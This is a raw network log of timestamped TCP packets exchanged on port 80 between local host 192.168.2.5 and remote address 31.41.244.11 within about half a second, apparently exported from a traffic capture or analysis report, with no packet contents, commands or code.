Dec 17, 2024 08:03:27.480715036 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.480770111 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.480818033 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.482460022 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.482511997 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.482583046 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.482635975 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.484325886 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.484379053 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.484462023 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.484513998 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.486133099 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.486251116 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.486308098 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.487997055 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.488140106 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.488198042 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.489883900 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.489933968 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.489958048 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.490614891 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.491650105 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.491712093 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.491774082 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.491822004 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.493563890 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.493613005 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.493637085 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.493685007 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.495356083 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.495415926 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.495471001 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.495520115 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.497138023 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.497271061 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.497325897 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.498982906 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.499077082 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.499135017 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.500853062 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.500906944 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.500962019 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.502635956 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.502756119 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.502809048 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.504466057 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.504518032 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.504561901 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.508575916 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.648020983 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.648080111 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.648116112 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.648149967 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.648180008 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.648206949 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.650185108 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.767852068 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.767908096 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.767944098 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.767981052 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.768016100 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.768208981 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.768208981 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.887789965 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.887841940 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.887877941 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.887912989 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.887974977 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.888009071 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.888053894 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.888053894 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.888055086 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.888130903 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.888164043 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.888196945 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.888221025 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.888250113 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.888268948 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.888294935 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.888326883 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.888381958 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.888416052 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.888448954 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.888485909 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.888545990 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.888564110 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.888586044 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.888603926 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.888634920 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.888679028 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.888705969 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.888737917 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.888757944 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.888786077 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.888812065 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.888844013 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.888864994 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.888885975 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.888916969 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.888948917 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.888967991 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.888988018 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.889035940 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.889094114 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.889125109 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.889158964 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.889209032 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.889209032 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.889250994 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.889283895 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.889302969 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.889324903 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.889354944 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.889388084 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.889406919 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.889429092 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.889456987 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.889492035 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.889514923 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.889540911 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.889565945 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.889600039 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.889621973 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.889653921 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.889674902 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.889707088 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.889725924 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.889745951 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.889775991 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.889808893 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.889827013 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.889843941 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.889894962 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.889928102 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.889949083 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.889974117 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.889997959 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.890031099 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.890081882 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.890081882 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.890125990 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.890157938 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.890177965 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.890221119 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.890240908 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.890275955 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.890305996 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.890331030 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.890358925 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.890393019 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.890412092 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.890431881 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.890461922 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.890494108 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.890512943 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.890532970 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.890563011 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.890594959 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.890628099 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.890646935 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.890687943 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.890701056 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.890729904 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.890753984 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.890785933 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.890805006 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.890825033 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.890872002 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.890903950 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.890923023 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.890961885 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.890974998 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.891006947 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.891025066 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.891056061 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.891074896 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.891097069 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.891127110 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.891160011 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.891179085 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.891213894 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.891230106 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.891263008 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.891295910 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.891331911 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.891352892 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.891383886 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.891417027 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.891436100 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.891457081 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.891485929 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.891520023 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.891540051 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.891571999 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.891813040 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.891845942 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.891865015 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.891885996 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.891916990 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.891951084 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.891971111 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.891992092 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.892021894 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.892055035 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.892075062 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.892095089 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.892124891 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.892158031 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.892177105 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.892205000 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.892226934 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.892260075 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.892278910 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.892304897 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.892328978 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.892362118 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.892383099 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.892405033 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.892435074 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.892467022 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.892486095 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.892512083 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.892612934 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.892667055 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.892718077 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.892785072 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.892817974 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.892852068 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.892872095 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.892889977 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.892920017 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.892954111 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.892972946 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.893006086 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.893104076 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.893138885 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.893158913 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.893181086 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.893212080 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.893256903 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.893282890 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.893316031 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.893335104 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.893356085 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.893385887 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.893436909 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.893450022 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.893491030 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.893503904 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.893537998 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.893594027 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.893626928 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.893646002 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.893667936 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.893697023 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.893729925 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.893748999 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.893773079 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.893800974 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.893832922 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.893852949 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.893876076 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.894181013 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.894213915 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.894233942 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.894258022 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.894285917 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.894319057 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.894337893 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.894357920 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.894387960 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.894419909 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.894438982 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.894471884 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.894488096 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.894520998 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.894543886 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.894566059 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.894596100 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.894629002 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.894648075 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.894673109 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.894700050 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.894731998 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.894751072 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.894772053 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.894804001 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.894836903 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.894855976 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.894907951 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.895148039 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.895163059 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.895176888 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.895188093 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.895199060 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.895215988 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.895222902 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.895236969 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.895246029 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.895258904 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.895268917 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.895282030 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.895292044 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.895304918 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.895319939 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.895334959 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.895344973 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.895358086 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.895371914 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.895381927 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.895391941 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.895406008 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.895416975 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.895430088 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.895440102 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.895453930 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.895462990 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.895477057 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.895488024 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.895512104 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.895932913 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.895978928 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.896009922 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.896023989 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.896039009 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.896049976 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.896064043 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.896071911 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.896100044 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.896625996 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.896641016 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.896655083 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.896667004 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.896675110 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.896691084 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.896698952 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.896714926 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.896735907 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:27.896744967 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:27.896744967 CET	49867	80	192.168.2.5	31.41.244.11
